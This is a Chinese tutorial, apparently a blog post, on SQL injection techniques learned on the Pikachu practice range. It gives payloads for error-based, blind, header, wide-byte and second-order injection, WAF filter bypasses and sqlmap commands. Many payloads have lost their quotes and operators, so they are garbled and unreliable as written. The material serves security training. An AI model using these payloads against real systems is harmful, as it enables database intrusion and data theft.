Pikachu靶场通关后我整理了这份SQL注入实战避坑手册附详细Payload在网络安全的学习道路上SQL注入始终是绕不开的重要课题。Pikachu靶场作为经典的Web安全练习平台其SQL注入模块涵盖了从基础到进阶的各种场景。但很多学习者在实际操作中常常陷入一看就会一做就废的困境。本文将分享我在通关过程中遇到的典型问题及解决方案帮助你在实战中少走弯路。1. 注入类型判断与闭合技巧SQL注入的第一步永远是判断注入类型和闭合方式这一步的错误会导致后续所有操作失败。以下是常见注入类型的判断方法1.1 数字型与字符型注入数字型注入是最简单的类型但初学者常犯的错误是忽略类型判断# 数字型判断正确示例 1 and 11 # 正常显示 1 and 12 # 无结果显示字符型注入需要处理引号闭合问题常见错误包括忘记闭合前端的单引号忽略后端可能存在的括号闭合未处理转义字符# 字符型注入正确闭合示例 1 and 11 1) and (111.2 搜索型与xx型注入搜索型注入常出现在搜索框功能中其特殊之处在于需要处理LIKE语句中的百分号# 搜索型注入闭合示例 % and 11 and %xx型注入如)闭合则需要通过错误信息判断闭合方式# xx型注入闭合示例 1) and (11提示遇到报错信息时仔细阅读错误提示中的SQL语句片段这往往是判断闭合方式的最佳线索。2. 报错注入的实用技巧报错注入是获取数据的高效方式但函数选择和payload构造有诸多细节需要注意。2.1 常用报错函数对比函数名称适用场景数据长度限制特殊要求updatexml()MySQL 5.132字符需要XPath格式错误extractvalue()MySQL 5.132字符需要XPath格式错误floor()MySQL 5.x无需要count和group bygeometrycollection()MySQL 5.7无需要特定参数格式2.2 突破32字符限制的方法报错函数通常有32字符显示限制可通过substr分段获取# 分段获取表名示例 1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,30),0x7e),1)--更高效的方式是结合mid和offset参数1 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),31,30),0x7e),1)--3. 盲注实战中的高效方法盲注是SQL注入中最耗时的环节掌握技巧能大幅提升效率。3.1 布尔盲注加速技巧传统逐字符判断效率极低可采用以下优化方法字典攻击法预先准备常见数据库名、表名字典二分查找法大幅减少判断次数正则匹配MySQL可使用regexp正则匹配# 二分法判断数据库名首字母 1 and ascii(substr(database(),1,1))109-- # 判断是否大于m(109) 1 and ascii(substr(database(),1,1))116-- # 判断是否小于t(116)3.2 时间盲注的可靠payload时间盲注的关键是确保延时触发的稳定性# 可靠的时间盲注payload 1 and if(ascii(substr(database(),1,1))112,sleep(2),0)--常见问题及解决方案网络波动导致误判 → 增加延时时间(3-5秒)服务器性能影响 → 设置基准响应时间WAF拦截sleep函数 → 使用benchmark替代4. 特殊场景注入解决方案某些特殊场景下的注入需要特别处理。4.1 Insert/Update注入技巧在注册或信息修改功能中闭合方式更为复杂# Insert注入payload示例 usernametest or updatexml(1,concat(0x7e,(select database()),0x7e),1) or password123关键点通过报错信息判断闭合方式注意字段数量匹配处理可能存在的过滤机制4.2 HTTP头注入实战HTTP头注入常出现在日志记录功能中User-Agent: or updatexml(1,concat(0x7e,(select database()),0x7e),1) or 注意点可能需要处理Base64编码注意头部的特殊字符过滤某些框架会自动转义引号4.3 宽字节注入原理与利用虽然现在较少见但理解宽字节注入有助于深入理解字符编码安全问题# 宽字节注入payload %df%27 and 11--原理分析服务器使用GBK编码单引号被转义为 (0x5c27)%df与0x5c组合成合法GBK字符单引号成功逃逸5. 防御绕过与高级技巧现代WAF和过滤机制使得传统注入方法常常失效需要掌握进阶技巧。5.1 常见过滤绕过方法过滤项绕过方法示例空格使用注释/**/或括号1//and//11引号使用十六进制或char函数where user0x61646d696e关键词大小写混合/拆分/注释SeLeCt 1,2 frOm admin等号使用like/in/正则where id like 15.2 二次注入实战二次注入是防御系统难以检测的高级技术先将恶意payload存入数据库在后续操作中触发注入# 第一步注册时存入payload username: admin-- password: 123 # 第二步修改密码时触发 UPDATE users SET passwordnewpass WHERE usernameadmin-- 6. 自动化工具与手工注入结合虽然sqlmap等工具强大但手工注入能力仍是基础。6.1 sqlmap高效使用技巧常用参数组合# 基础检测 sqlmap -u http://target.com?id1 --risk3 --level5 # 指定注入点 sqlmap -u http://target.com --dataid1 -p id # 获取数据 sqlmap -u http://target.com?id1 --dbs --tables -D dbname6.2 手工与工具结合流程手工判断注入点和基本类型使用工具进行大规模数据获取对工具无法处理的特殊场景进行手工注入验证关键数据准确性在真实渗透测试中我通常会先用简单payload确认注入点对关键系统使用--safe-url参数避免破坏数据对时间盲注使用--time-sec设置合理延时。